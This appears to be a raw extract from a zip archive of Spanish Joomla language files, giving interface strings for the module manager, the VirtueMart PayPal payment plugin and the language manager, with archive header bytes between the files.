COM_MODULES_HTML_PUBLISH_DISABLED="Publicar módulo::Extensión deshabilitada" COM_MODULES_HTML_PUBLISH_ENABLED="Publicar módulo::Extensión habilitada" COM_MODULES_HTML_UNPUBLISH_DISABLED="Despublicar módulo::Extensión deshabilitada" COM_MODULES_HTML_UNPUBLISH_ENABLED="Despublicar módulo::Extensión habilitada" COM_MODULES_MANAGER_MODULE="Gestor de módulos: Módulo %s" COM_MODULES_MANAGER_MODULES="Gestor de módulos: Módulos" COM_MODULES_MENU_ASSIGNMENT="Asignación de menú" COM_MODULES_MODULE_ASSIGN="Asignación del módulo" COM_MODULES_MODULE_DESCRIPTION="Descripción del módulo" COM_MODULES_MODULE_TEMPLATE_POSITION="%1$s (%2$s)" COM_MODULES_MODULES_FILTER_SEARCH_DESC="Buscar en el título del módulo." COM_MODULES_MSG_MANAGE_NO_MODULES="No se han encontrado módulos instalados que coincidan con su consulta" COM_MODULES_N_ITEMS_ARCHIVED="%d módulos han sido archivados correctamente" COM_MODULES_N_ITEMS_ARCHIVED_1="%d módulo ha sido archivado correctamente" COM_MODULES_N_ITEMS_CHECKED_IN_0="Ningún módulo ha sido desbloqueado correctamente" COM_MODULES_N_ITEMS_CHECKED_IN_1="%d módulo ha sido desbloqueado correctamente" COM_MODULES_N_ITEMS_CHECKED_IN_MORE="%d módulos han sido desbloqueados correctamente" COM_MODULES_N_ITEMS_DELETED="%d módulos han sido borrados correctamente" COM_MODULES_N_ITEMS_DELETED_1="%d módulo ha sido borrado correctamente" COM_MODULES_N_ITEMS_PUBLISHED="%d módulos han sido publicados correctamente" COM_MODULES_N_ITEMS_PUBLISHED_1="%d módulo ha sido publicado correctamente" COM_MODULES_N_ITEMS_TRASHED="%d módulos han sido movidos a la papelera correctamente" COM_MODULES_N_ITEMS_TRASHED_1="%d módulo ha sido movido a la papelera correctamente" COM_MODULES_N_ITEMS_UNPUBLISHED="%d módulos ha sido despublicados correctamente" COM_MODULES_N_ITEMS_UNPUBLISHED_1="%d módulo ha sido despublicado correctamente" COM_MODULES_N_MODULES_DUPLICATED="%d módulos han sido duplicados correctamente" COM_MODULES_N_MODULES_DUPLICATED_1="%d módulo ha sido duplicado correctamente" COM_MODULES_NO_ITEM_SELECTED="Sin módulos seleccionados" COM_MODULES_NODESCRIPTION="Sin descripción disponible" COM_MODULES_OPTION_MENU_ALL="En todas las páginas" COM_MODULES_OPTION_MENU_EXCLUDE="En todas las páginas menos en las seleccionadas" COM_MODULES_OPTION_MENU_INCLUDE="Solo en las páginas seleccionadas" COM_MODULES_OPTION_MENU_NONE="En ninguna página" COM_MODULES_OPTION_ORDER_POSITION="%d. %s" COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED="Plantilla" COM_MODULES_OPTION_POSITION_USER_DEFINED="Usuario" COM_MODULES_OPTION_SELECT_CLIENT="- Seleccionar tipo -" COM_MODULES_OPTION_SELECT_MODULE="- Seleccionar tipo -" COM_MODULES_OPTION_SELECT_POSITION="- Seleccionar posición -" COM_MODULES_OPTION_SELECT_TYPE="- Seleccionar tipo -" COM_MODULES_POSITION_ANALYTICS="Analítica" COM_MODULES_POSITION_BANNER="Anuncio" COM_MODULES_POSITION_BOTTOM="Inferior" COM_MODULES_POSITION_BREADCRUMB="Ruta de navegación" COM_MODULES_POSITION_BREADCRUMBS="Rutas de navegación" COM_MODULES_POSITION_DEBUG="Depuración" COM_MODULES_POSITION_FOOTER="Pie de página" COM_MODULES_POSITION_HEADER="Encabezado" COM_MODULES_POSITION_LEFT2="Izquierda 2" COM_MODULES_POSITION_LEFT="Izquierda" COM_MODULES_POSITION_MAINNAV="Navegación principal" COM_MODULES_POSITION_NAV="Navegación" COM_MODULES_POSITION_OFFLINE="Fuera de línea" COM_MODULES_POSITION_POSITION-0="Posición 0" COM_MODULES_POSITION_POSITION-10="Posición 10" COM_MODULES_POSITION_POSITION-11="Posición 11" COM_MODULES_POSITION_POSITION-12="Posición 12" COM_MODULES_POSITION_POSITION-13="Posición 13" COM_MODULES_POSITION_POSITION-14="Posición 14" COM_MODULES_POSITION_POSITION-15="Posición 15" COM_MODULES_POSITION_POSITION-1="Posición 1" COM_MODULES_POSITION_POSITION-2="Posición 2" COM_MODULES_POSITION_POSITION-3="Posición 3" COM_MODULES_POSITION_POSITION-4="Posición 4" COM_MODULES_POSITION_POSITION-5="Posición 5" COM_MODULES_POSITION_POSITION-6="Posición 6" COM_MODULES_POSITION_POSITION-7="Posición 7" COM_MODULES_POSITION_POSITION-8="Posición 8" COM_MODULES_POSITION_POSITION-9="Posición 9" COM_MODULES_POSITION_RIGHT2="Derecha 2" COM_MODULES_POSITION_RIGHT="Derecha" COM_MODULES_POSITION_SUB1="Sub 1" COM_MODULES_POSITION_SUB2="Sub 2" COM_MODULES_POSITION_SUB3="Sub 3" COM_MODULES_POSITION_SUB4="Sub 4" COM_MODULES_POSITION_SUB5="Sub 5" COM_MODULES_POSITION_SUB6="Sub 6" COM_MODULES_POSITION_SUB="Sub" COM_MODULES_POSITION_SUBNAV="Subnavegación" COM_MODULES_POSITION_SYNDICATE="Sindicación" COM_MODULES_POSITION_TOP2="Superior 2" COM_MODULES_POSITION_TOP3="Superior 3" COM_MODULES_POSITION_TOP4="Superior 4" COM_MODULES_POSITION_TOP="Superior" COM_MODULES_POSITION_USER1="Usuario 1" COM_MODULES_POSITION_USER2="Usuario 2" COM_MODULES_POSITION_USER3="Usuario 3" COM_MODULES_POSITION_USER4="Usuario 4" COM_MODULES_POSITION_USER5="Usuario 5" COM_MODULES_POSITION_USER6="Usuario 6" COM_MODULES_POSITION_USER7="Usuario 7" COM_MODULES_POSITION_USER8="Usuario 8" COM_MODULES_SAVE_SUCCESS="El módulo ha sido guardado correctamente" COM_MODULES_TYPE_CHOOSE="Seleccione un tipo de módulo:" COM_MODULES_XML_DESCRIPTION="Componente para gestionar módulos desde la administración" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\SXO6O6-language/es-ES/es-ES.plg_vmpayment_paypal.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valérie Isaksen ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="Vm Plugin de pago Paypal" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE="¿Permitir que los compradores reemplacen sus direcciones de PayPal?" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE_DESC="La dirección especificada con variables de auto-relleno sobreescriben la dirección antes almacenada del miembro de PayPal. Los compradores verán las direcciones que se han introducido, pero no puede modificarlas. PayPal no muestra direcciones si son inválidas u omitidas." VMPAYMENT_PAYPAL_AMOUNT="Cantidad" VMPAYMENT_PAYPAL_AUTOMATIC_FILLOUT="Conozca experiencias, mire Address Handling (U.S. Merchants Only)"_QQ_"" VMPAYMENT_PAYPAL_CLICK_ON_BUTTON="Si no es redireccionado después de 10 segundos, haga clic por favor en el botón abajo." VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL="Porcentaje de la cantidad total" VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL_EXPLAIN="Porcentaje ha aplicar a la cantidad total" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION="Recargo por transaccion" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION_EXPLAIN="Cantidad plana a aplicarse por la transacción" VMPAYMENT_PAYPAL_COUNTRIES="Paises" VMPAYMENT_PAYPAL_COUNTRIES_DESC="Seleccione por favor los países los cuales este método del pago se solicita. Si no se selecciona ningún país, este método del pago será aplicado para todos los países" VMPAYMENT_PAYPAL_CURRENCY="Monedas" VMPAYMENT_PAYPAL_CURRENCY_DESC="Moneda aceptadas para el pago" VMPAYMENT_PAYPAL_CUSTOM="Valor personalizado" VMPAYMENT_PAYPAL_DATE="Fecha" VMPAYMENT_PAYPAL_DEBUG="Debug?" VMPAYMENT_PAYPAL_DEBUG_DESC="Si se selecciona SI, el pago será registrado en el archivo de log." VMPAYMENT_PAYPAL_EMAIL="Email de pago PayPal:" VMPAYMENT_PAYPAL_EMAIL_DESC="El email de pago por paypal de su negocio. tambien usado como receiver_email." VMPAYMENT_PAYPAL_EMAIL_SENT="Email enviado" VMPAYMENT_PAYPAL_ERROR_EMAIL_SUBJECT="Error con el pago por Paypal" VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION="Validación de IPN inválida" VMPAYMENT_PAYPAL_ERROR_POSTING_IPN="Error mientras se enviaba IPN: %1s, %2d" VMPAYMENT_PAYPAL_INVOICE="Número de pedido" VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED="Notificación de paypal recibida" VMPAYMENT_PAYPAL_LOGOS="Logos" VMPAYMENT_PAYPAL_LOGOS_DESC="Logos para ser mostrados con el nombre del pago" VMPAYMENT_PAYPAL_MAX_AMOUNT="cantidad máxima" VMPAYMENT_PAYPAL_MAX_AMOUNT_EXPLAIN="Cantidad máxima del pedido para ofrecer este pago" VMPAYMENT_PAYPAL_MERCHANT_EMAIL_NOT_SET="El email del vendedor no esta configurado. Configure este parametro en el método de pago}" VMPAYMENT_PAYPAL_MIN_AMOUNT="Cantidad mínima" VMPAYMENT_PAYPAL_MIN_AMOUNT_EXPLAIN="Cantidad mínima de la orden para ofrecer este pago" VMPAYMENT_PAYPAL_NAME="Nombre de pago" VMPAYMENT_PAYPAL_NO_SHIPPING="Solicita al comprador una dirección de envío" VMPAYMENT_PAYPAL_NO_SHIPPING_DESC="Solicitar al comprador una dirección de envío" VMPAYMENT_PAYPAL_NO_SHIPPING_DO_NOT_PROMPT="No preguntar por una dirección" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT="Solicitar una dirección, pero No requerirla" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT_REQUIRE="Solicitar una dirección y que sea requerida" VMPAYMENT_PAYPAL_ONLYVERIFIED="¿Aceptar solo compradores verificados?" VMPAYMENT_PAYPAL_ONLYVERIFIED_EXPLAIN="Aqui puede elegir si desea pagos solo de compradores con una cuenta de paypal verificado (cuando una cuenta no esta verificada, PayPal transfiere los fondos, pero no garantizan la validez de la venta)." VMPAYMENT_PAYPAL_ORDER_NUMBER="Número de pedido" VMPAYMENT_PAYPAL_PARAMS="Parámetros de Paypal" VMPAYMENT_PAYPAL_PARAMS_DESC="Parámetros de Paypal" VMPAYMENT_PAYPAL_PAYMENT_AMOUNT_INCORRECT="Cantidad de Pago no válida para Paypal" VMPAYMENT_PAYPAL_PAYMENT_CANCELLED="Ha cancelado su pago" VMPAYMENT_PAYPAL_PAYMENT_INFO="" VMPAYMENT_PAYPAL_PAYMENT_NAME="Nombre del pago" VMPAYMENT_PAYPAL_PAYMENT_ORDER_TOTAL="Total de pedido enviado a paypal" VMPAYMENT_PAYPAL_PAYMENT_PAGE="VOLVER A LA TIENDA" VMPAYMENT_PAYPAL_PAYMENT_PRICE="Pago" VMPAYMENT_PAYPAL_PAYMENT_SETTINGS="PARAMETROS" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CANCELED="El pago del pedido %s ha fallado. Motivo:" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED="El pago de su pedido%s ha sido confirmado por Paypal" VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING="El pago del pedido %s esta en estado Pendiente. Motivo:" VMPAYMENT_PAYPAL_PAYMENT_TITLE="PAYPAL" VMPAYMENT_PAYPAL_PAYMENT_TOTAL_CURRENCY="Total en la moneda del pago" VMPAYMENT_PAYPAL_PAYMENT_WARNING="Advertencia - En VM2, el vendedor y el comprador sólo recibirá un correo electrónico cuando se complete la transacción." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ADDRESS="Usted no incluyó una dirección de envío confirmada" VMPAYMENT_PAYPAL_PENDING_REASON_FE_AUTHORIZATION="La acción de pago está establecida en Autorización." VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT="El pago está pendiente." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ECHECK="El pago está pendiente porque fue hecho por un con eCheck que no ha sido procesado." VMPAYMENT_PAYPAL_PENDING_REASON_FE_INTL="El pago está pendiente porque las tiendas tiene una cuenta fuera de Estados Unidos" VMPAYMENT_PAYPAL_PENDING_REASON_FE_MULTI_CURRENCY="La tienda acepta de forma manual en el pago de esta moneda" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ORDER="Se establece la acción de pago de pedido y aun no tienen los fondos capturados." VMPAYMENT_PAYPAL_PENDING_REASON_FE_UNILATERAL="El pago está pendiente porque se hizo en una dirección correo electrónico que aún no está registrada o confirmada." VMPAYMENT_PAYPAL_PLEASE_WAIT="Espere mientras es redireccionado a %s" VMPAYMENT_PAYPAL_REDIRECT_MESSAGE="Por favor, espere mientras se redirige a PayPal" VMPAYMENT_PAYPAL_RESPONSE_BUSINESS="ID de cuenta o email para el receptor del pago" VMPAYMENT_PAYPAL_RESPONSE_CASE_CREATION_DATE="Fecha y hora en que se registró el caso" VMPAYMENT_PAYPAL_RESPONSE_CASE_ID="Identificador de caso" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE="Tipo de caso" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_CHARGEBACK="Un comprador ha presentado una devolución de cargo a la compañía de su tarjeta de crédito, la cual ha notificado a PayPal la razón de la devolución de cargo." VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_COMPLAINT="Un comprador ha registrado una queja a través del Centro de Resolución de PayPal." VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_DISPUTE="Comunicaciones posteriores entre comprador y vendedor a través del Centro de Resolución para intentar resolver problemas sin la intervención de PayPal." VMPAYMENT_PAYPAL_RESPONSE_FIRST_NAME="Nombre del cliente" VMPAYMENT_PAYPAL_RESPONSE_INVOICE="Recibo" VMPAYMENT_PAYPAL_RESPONSE_LAST_NAME="Apellidos" VMPAYMENT_PAYPAL_RESPONSE_MC_CURRENCY="Moneda" VMPAYMENT_PAYPAL_RESPONSE_MC_FEE="Cargo por transacción" VMPAYMENT_PAYPAL_RESPONSE_MC_GROSS="Cantidad completa del pago del cliente" VMPAYMENT_PAYPAL_RESPONSE_NOTIFICATION="Notificación" VMPAYMENT_PAYPAL_RESPONSE_PARENT_TXN_ID="Identificador de transacción original" VMPAYMENT_PAYPAL_RESPONSE_PAYER_EMAIL="Direccion de email primaria del cliente" VMPAYMENT_PAYPAL_RESPONSE_PAYER_ID="ID único de cliente" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_DATE="Fecha/hora del IPN" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS="Estado de pago" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON="Motivo de Pendiente" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ADDRESS="El pago está pendiente porque su cliente no incluye una dirección de envío confirmada y sus Preferencias de Aprovación de Pago estan establecidas para manualmente aceptar o denegar estos pagos. Para cambiar su preferencias, vaya a la sección de preferencias de su perfil." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_AUTHORIZATION="La acción de pago se establece en la autorización y aún no han capturado los fondos." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ECHECK="El pago está pendiente porque fue hecha por un eCheck que no ha sido procesado." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_INTL="El pago está pendiente porque usted tiene una cuenta fuera de Estados Unidos y no tienen un mecanismo de retirada. Manualmente, debe aceptar o negar el pago desde Descripción de cuenta." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_MULTI_CURRENCY="Usted no tiene un saldo en la moneda envió, y usted no tiene Las preferencias de recepción de pago establecidas para convertir de forma automática y aceptar este pago. Manualmente, debe aceptar o negar el pago." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ORDER="Usted establece el acción de pago al pedido y tiene los fondos aún no capturados." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_OTHER="El pago está pendiente por una razón distinta de las anteriormente mencionadas. Para obtener más información, póngase en contacto con Atención al Cliente de PayPal." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_PAYMENTREVIEW="El pago está pendiente, mientras que está siendo revisado por PayPal por el riesgo." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UNILATERAL="El pago está pendiente porque se hizo a una dirección de correo electrónico que aún no está registrada o confirmada." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UPGRADE="El pago está pendiente porque se realizó a través de tarjeta de crédito y debe actualizar su cuenta A Business o Premier para recibir los fondos. actualice también puede significar que haya alcanzado el límite mensual para las transacciones en su cuenta." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_VERIFY="El pago está pendiente porque no se ha verificado. Usted debe verificar su cuenta antes de poder aceptar este pago." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY="eligibilidad" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE="Razón del caso" VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_ADJUSTMENT_REIMBURSE=": Un caso que ha sido resuelto y el cierre requiere un reembolso." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_DUPLICATE="El comprador reclama que un posible pago duplicado fue realizado al comerciante." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_MERCHANDISE="El comprador reclama que la mercancía recibida fue insatisfactoria, defectuosa, o dañada." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NON_RECEIPT="El comprador reclama que no recibió productos o servicios." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NOT_AS_DESCRIBED="El comprador reclama que los bienes o servicios recibidos difieren de la descripción de los productos o servicios descritos por el comerciante." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_SPECIAL="Otra razón. Normalmente, especial indica un error de proceso de tarjeta de crédito de la que el comerciante no es responsable y por la que no habrá adeudo al comerciante. PayPal debe revisar la documentación de la compañía de la tarjeta de crédito para determinar la naturaleza de la disputa y posiblemente contactar con el comerciante para resolverla." VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_UNAUTHORIZED="no autorizado" VMPAYMENT_PAYPAL_RESPONSE_RECEIVER_EMAIL="Direccion de email primaria del receptor del pago" VMPAYMENT_PAYPAL_RESPONSE_RESIDENCE_COUNTRY="Código de país ISO 3166" VMPAYMENT_PAYPAL_RESPONSE_TAX="Impuesto" VMPAYMENT_PAYPAL_RESPONSE_TRANSACTION_SUBJECT="Motivo de la transaccion" VMPAYMENT_PAYPAL_RESPONSE_TXN_ID="Identificador de transacción" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE="Tipos de Transacciones IPN" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_ADJUSTMENT="Una disputa ha sido resuelta y cerrada" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_NEW_CASE="Una nueva disputa ha sido archivada" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_SEND_MONEY="Pago recibido; el origen es la pestaña Enviar Dinero de la web de PayPal" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_VIRTUAL_TERMINAL="Pago recibido; el origen es Terminal Virtual" VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_WEB_ACCEPT="El pago fue enviado por su cliente vía Compra de Un Solo Artículo o Donaciones" VMPAYMENT_PAYPAL_RESTRICTIONS="RESTRICCIONES" VMPAYMENT_PAYPAL_SANDBOX="Sandbox" VMPAYMENT_PAYPAL_SANDBOX_DESC="Sandbox" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT="Email de sandbox de vendedor" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT_DESC="Email de sandbox de vendedor" VMPAYMENT_PAYPAL_SANDBOX_PARAMS="Parámetros de sandbox Paypal" VMPAYMENT_PAYPAL_SANDBOX_PARAMS_DESC="Parámetros de sandbox Paypal" VMPAYMENT_PAYPAL_SHIPMENT_PRICE="Envio" VMPAYMENT_PAYPAL_STATUS_FAILED="Estado de pedido para transacciones fallidas" VMPAYMENT_PAYPAL_STATUS_FAILED_EXPLAIN="Seleccione estado de pedido para transacciones fallidas PayPal." VMPAYMENT_PAYPAL_STATUS_PENDING="Estado de pedido para ordenes pendientes" VMPAYMENT_PAYPAL_STATUS_PENDING_EXPLAIN="El estado del pedido para pagos no finalizados. La transaccion no se cancela solo queda pendiente de finalizar." VMPAYMENT_PAYPAL_STATUS_SUCCESS="Estado de ordenes para transacciones exitosas" VMPAYMENT_PAYPAL_STATUS_SUCCESS_EXPLAIN="Seleccione el estado para pagos de paypal exitosos. Si usa ventas descargables: selecciona el estado donde sea permitida la descarga, luego el cliente será notifocado vía EMAIL." VMPAYMENT_PAYPAL_TAX="Impuesto" VMPAYMENT_PAYPAL_TAX_EXPLAIN="Impuesto aplicado a este cargo" VMPAYMENT_PAYPAL_THANKYOU="Gracias por su pago." VMPAYMENT_PAYPAL_UNKNOW_ORDER_ID="ID de pedido desconocido" VMPAYMENT_PAYPAL_USER_CANCEL="Pago cancelado por el usuario" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS="Parámetros VirtueMart" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS_DESC="Parámetros VirtueMart" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER="Merchant Sandbox Email" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER_DESC="Merchant Sandbox Email"PK@y>\<<&language/es-ES/es-ES.com_languages.ininuW+A; $Id: es-ES.com_languages.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_LANGUAGES="Gestor de idiomas" COM_LANGUAGES_CONFIGURATION="Opciones del gestor de idiomas" COM_LANGUAGES_ERR_DELETE="Seleccione un idioma a borrar" COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED="No hay ningún idioma seleccionado" COM_LANGUAGES_ERR_PUBLISH="Seleccione un idioma a publicar" COM_LANGUAGES_FIELD_DESCRIPTION_DESC="Introduzca aquí una descripción para el idioma" COM_LANGUAGES_FIELD_IMAGE_DESC="Prefijo del archivo de imagen para este idioma, cuando se use el parámetro 'Usar imagen de banderas' de las opciones básicas del módulo selector de idiomas. Por ejemplo: si se elige 'en', la imagen debe ser 'en.gif'. Las imágenes y CSS para este módulo están en ruta 'media/mod_languages/'" COM_LANGUAGES_FIELD_IMAGE_LABEL="Prefijo de la imagen" COM_LANGUAGES_FIELD_LANG_TAG_DESC="Introduzca aquí la etiqueta del idioma – Por ejemplo: 'en-GB' para el idioma 'English (UK)'. Debe ser el prefijo exacto usado por el idioma instalado (o a instalar)." COM_LANGUAGES_FIELD_LANG_TAG_LABEL="Etiqueta del idioma" COM_LANGUAGES_INSTALL="Instalar idioma" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_LABEL="Para ambos sitios" COM_LANGUAGES_OVERRIDE_FIELD_BOTH_DESC="Si se selecciona esta opción la modificación se guardará para ambos clientes (sitio y administración). Esto es primordial para la creación de modificaciones del idioma de algunos plugins, ya que sus archivos del idioma se guardan en la administración pero también se usan desde el sitio (por ejemplo: plg_content_vote).
            Por favor, note que aunque se guarde de forma conjunta cuando está seleccionado, las modificaciones serán completamente independientes después de guardarlas." COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_LABEL="Ubicación" COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_DESC="Indica en qué cliente se ha creado la modificación del idioma: sitio ('Frontend') o administración ('Backend')." COM_LANGUAGES_OVERRIDE_FIELD_FILE_LABEL="Archivo" COM_LANGUAGES_OVERRIDE_FIELD_FILE_DESC="Las modificaciones en los textos del idioma se almacenan en un archivo del tipo 'INI' específico (como también sucede con los archivos del idioma originales). Desde aquí puede ver cuál es y dónde está almacenado el archivo que está sobreescribiendo actualmente a algún texto original." COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_LABEL="Idioma" COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_DESC="Idioma desde el que se está modificando el valor de la contante." COM_LANGUAGES_OVERRIDE_FIELD_KEY_LABEL="Constante del idioma" COM_LANGUAGES_OVERRIDE_FIELD_KEY_DESC="La constante del texto que desea modificar.
            Cada salida de texto del idioma se identifica por su correspondiente constante específica, la cual deberá usar para poder crear dicha modificación del texto.
            Si usted no conoce cuál es la constante correspondiente para el texto que desea modificar, puede obtenerla refiriéndose a su texto desde el campo de búsqueda que encontrará a su derecha. Haciendo clic sobre el resultado que le interese, se insertará automáticamente su correspondiente constante en el formulario." COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_LABEL="Texto" COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_DESC="Desde aquí puede introducir el texto que desea que se muestre en lugar del original.
            Por favor, note que en algunos lugares del texto puede que encuentre comodines del tipo '%s, %d o %1$s' que se reemplazarán por otros textos antes de mostrarse en pantalla; por lo tanto, debería dejarlos ahí." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_LABEL="Buscar texto" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_DESC="Por favor, introduzca el texto a buscar aquí. Puede aparecer en más de un archivo del idioma." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_LABEL="Buscar por" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_DESC="Desde aquí puede seleccionar entre si buscar por las constantes o por sus valores (del texto actual).
            Seleccionando 'Constante' también puede introducir el nombre del archivo del idioma sin el prefijo ni sufijo (por ejemplo: 'com_content' y NO 'es-ES.com_content.ini') para mostrar todas las constantes y valores que hay en ese archivo del idioma." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_CONSTANT="Constante" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_TEXT="Valor" COM_LANGUAGES_FIELD_PUBLISHED_DESC="Se determina si este idioma para el contenido está publicado, o no. Si está publicado, se mostrará como opción seleccionable en el módulo selector del idioma del sitio." COM_LANGUAGES_FIELD_LANG_CODE_DESC="Este código del idioma será añadido a la URL del sitio. Con SEF habilitado, sería de este modo: 'http://mysite.com/en/'. Con SEF deshabilitado, se añadirá el sufijo '&lang=en' al final de la URL. Nota: el código del idioma debe ser único entre todos los idiomas." COM_LANGUAGES_FIELD_LANG_CODE_LABEL="Código URL del idioma" COM_LANGUAGES_FIELD_SITE_NAME_DESC="Introduzca desde aquí un nombre del sitio para este idioma del contenido. Si el nombre del sitio está configurado para mostrarse, se usará este nombre personalizado del sitio en lugar del asignado desde la configuración global." COM_LANGUAGES_FIELD_SITE_NAME_LABEL="Nombre personalizado del sitio" COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL="Nombre del sitio" COM_LANGUAGES_FIELD_TITLE_DESC="El nombre del idioma es como puede aparecer en las listas" COM_LANGUAGES_FIELD_TITLE_NATIVE_DESC="Título en el idioma nativo" COM_LANGUAGES_FIELD_TITLE_NATIVE_LABEL="Título nativo" COM_LANGUAGES_FILTER_CLIENT_LABEL="Filtrar localización:" COM_LANGUAGES_FTP_DESC="Para asignar idiomas predeterminados, Joomla! podría necesitar de los detalles de acceso a su cuenta FTP. Por favor, introdúzcalos en los campos del formulario de más abajo." COM_LANGUAGES_FTP_TITLE="Detalles de acceso al FTP" COM_LANGUAGES_HEADING_AUTHOR_EMAIL="Correo electrónico del autor" COM_LANGUAGES_HEADING_DEFAULT="Predeterminado" COM_LANGUAGES_HEADING_LANG_IMAGE="Prefijo de la imagen" COM_LANGUAGES_HEADING_LANGUAGE="Idioma" COM_LANGUAGES_HEADING_NUM="Número" COM_LANGUAGES_HEADING_TITLE_NATIVE="Título nativo" COM_LANGUAGES_HOMEPAGE="Inicio" COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED="El idioma predeterminado ha sido guardado. Esto no afecta a los usuarios que han elegido un idioma específico desde su perfil o desde la página de acceso
